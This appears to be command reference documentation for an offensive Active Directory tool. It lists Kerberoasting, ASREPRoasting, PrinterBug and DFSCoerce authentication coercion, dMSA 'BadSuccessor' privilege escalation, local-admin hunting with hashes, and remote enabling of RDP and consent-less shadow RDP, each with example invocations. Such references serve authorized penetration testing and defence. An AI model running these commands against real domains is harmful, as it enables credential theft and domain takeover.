Misc Functions

ConvertFrom-SID

Description

Convert a given security identifier (SID) to user/group name.

Aliases

None

Syntax

PV > ConvertFrom-SID
-NoCache       -ObjectSID     -OutFile       -Server

Examples

PV > ConvertFrom-SID -ObjectSID S-1-5-21-xxx-512
PV > ConvertFrom-SID S-1-5-21-xxx-512

Parameters

# With Argument
-ObjectSID = (required)
-Server =
-OutFile =

# No Argument
-NoCache

ConvertFrom-UACValue

Description

Converts a UAC int value to human readable form.

Aliases

None

Syntax

PV > ConvertFrom-UACValue
-OutFile       -TableView     -Value

Examples

PV > ConvertFrom-UACValue -Value 66048
PV > ConvertFrom-UACValue 512

Parameters

# With Argument
-Value = (required)
-OutFile =

# No Argument
-TableView

Get-NamedPipes

Description

List out Named Pipes for a specific computer.

Aliases

None

Syntax

PV > Get-NamedPipes
-Computer      -ComputerName  -Count         -MaxThreads    -Name          -OutFile       -Server        -TableView     -Timeout

Examples

PV > Get-NamedPipes -Computer DC01
PV > Get-NamedPipes -Computer DC01 -Name sqlsvc

Parameters

# With Argument
-Name =
-Computer = (required, or -ComputerName)
-ComputerName = (required, or -Computer)
-Server =
-OutFile =
-Timeout = (default 5)
-MaxThreads = (default 10)

# No Argument
-TableView
-Count

Invoke-Kerberoast

Description

Requests kerberos ticket for a specified service principal name (SPN).

Aliases

None

Syntax

PV > Invoke-Kerberoast
-Count         -Identity      -LDAPFilter    -NoCache       -NoWrap        -Opsec         -OutFile       -Select        -Server        -SortBy        -TableView     -Where

Examples

PV > Invoke-Kerberoast
PV > Invoke-Kerberoast -Identity svc_sql
PV > Invoke-Kerberoast -Opsec

Parameters

# With Argument
-Identity =
-LDAPFilter =
-Server =
-Select =
-Where =
-SortBy =
-OutFile =

# No Argument
-Opsec
-TableView
-Count
-NoWrap
-NoCache

Invoke-ASREPRoast

Description

Find ASREPRoastable users and request AS-REQ without preauth.

Aliases

None

Syntax

PV > Invoke-ASREPRoast
-Count         -Identity      -NoCache       -NoWrap        -OutFile       -SearchBase    -Select        -Server        -SortBy        -TableView

Examples

PV > Invoke-ASREPRoast
PV > Invoke-ASREPRoast -Identity testuser

Parameters

# With Argument
-Identity =
-SearchBase =
-Server =
-Select =
-SortBy =
-OutFile =

# No Argument
-TableView
-Count
-NoWrap
-NoCache

Invoke-PrinterBug

Description

Triggers the MS-RPRN RpcRemoteFindFirstPrinterChangeNotificationEx function to coerce authentication.

Aliases

None

Syntax

PV > Invoke-PrinterBug
-Count         -Listener      -NoWrap        -OutFile       -Select        -Server        -SortBy        -TableView     -Target        -Where

Examples

PV > Invoke-PrinterBug -Target DC01 -Listener 10.10.10.5

Parameters

# With Argument
-Target = (required)
-Listener = (required)
-Server =
-OutFile =
-Select =
-Where =
-SortBy =

# No Argument
-TableView
-Count
-NoWrap

Invoke-DFSCoerce

Description

Coerces machine account authentication via MS-DFSNM.

Aliases

None

Syntax

PV > Invoke-DFSCoerce
-Count         -Listener      -NoWrap        -OutFile       -Select        -Server        -SortBy        -TableView     -Target        -Where

Examples

PV > Invoke-DFSCoerce -Target DC01 -Listener 10.10.10.5

Parameters

# With Argument
-Target = (required)
-Listener = (required)
-Server =
-OutFile =
-Select =
-Where =
-SortBy =

# No Argument
-TableView
-Count
-NoWrap

Invoke-MessageBox

Description

Send a message box to a remote computer terminal session.

Aliases

None

Syntax

PV > Invoke-MessageBox
-Computer      -ComputerName  -Count         -Hash          -Message       -OutFile       -Password      -Server        -SessionId     -TableView     -Title         -Username

Examples

PV > Invoke-MessageBox -Computer DC01 -Title "Alert" -Message "System maintenance"

Parameters

# With Argument
-Computer = (required, or -ComputerName)
-ComputerName = (required, or -Computer)
-Username =
-Password =
-Hash =
-SessionId =
-Title = (required)
-Message = (required)
-Server =
-OutFile =

# No Argument
-TableView
-Count

Invoke-BadSuccessor

Description

Exploits dMSA successor relationship for privilege escalation.

Aliases

PV > Invoke-DMSASync

Syntax

PV > Invoke-BadSuccessor
-BaseDN        -Count         -DMSAName      -Force         -NoCache       -NoDelete      -OutFile       -PrincipalAllowed -Server     -TableView     -TargetIdentity

Examples

PV > Invoke-BadSuccessor -DMSAName "evil_dmsa" -TargetIdentity "Domain Admins"

Parameters

# With Argument
-DMSAName =
-PrincipalAllowed =
-TargetIdentity =
-BaseDN =
-Server =
-OutFile =

# No Argument
-Force
-TableView
-Count
-NoCache
-NoDelete

Find-LocalAdminAccess

Description

Finds computers on the local domain where the current user has Local Administrator access.

Aliases

None

Syntax

PV > Find-LocalAdminAccess
-Computer      -ComputerName  -Count         -Hash          -NoCache       -NoResolve     -OutFile       -Password      -Server        -TableView     -Username

Examples

PV > Find-LocalAdminAccess
PV > Find-LocalAdminAccess -Computer DC01

Parameters

# With Argument
-Computer =
-ComputerName =
-Username =
-Password =
-Hash =
-Server =
-OutFile =

# No Argument
-NoResolve
-TableView
-Count
-NoCache

Enable-RDP

Description

Enable Remote Desktop on a remote computer via registry.

Aliases

None

Syntax

PV > Enable-RDP
-Computer              -DisableRestrictedAdmin -NoVerify

Examples

PV > Enable-RDP -Computer DC01

Parameters

# With Argument
-Computer = (required)

# No Argument
-NoVerify
-DisableRestrictedAdmin

Disable-RDP

Description

Disable Remote Desktop on a remote computer via registry.

Aliases

None

Syntax

PV > Disable-RDP
-Computer      -NoVerify

Examples

PV > Disable-RDP -Computer DC01

Parameters

# With Argument
-Computer = (required)

# No Argument
-NoVerify

Enable-ShadowRDP

Description

Enable shadow RDP (allow connecting to existing sessions without consent).

Aliases

None

Syntax

PV > Enable-ShadowRDP
-Computer

Examples

PV > Enable-ShadowRDP -Computer DC01

Parameters

# With Argument
-Computer = (required)

# No Argument

Disable-ShadowRDP

Description

Disable shadow RDP.

Aliases

None

Syntax

PV > Disable-ShadowRDP
-Computer

Examples

PV > Disable-ShadowRDP -Computer DC01

Parameters

# With Argument
-Computer = (required)

# No Argument

Enable-EFSRPC

Description

Enable EFS over RPC on target.

Aliases

None

Syntax

PV > Enable-EFSRPC
-Computer      -Port

Examples

PV > Enable-EFSRPC -Computer DC01

Parameters

# With Argument
-Computer = (required)
-Port = (default 135)

# No Argument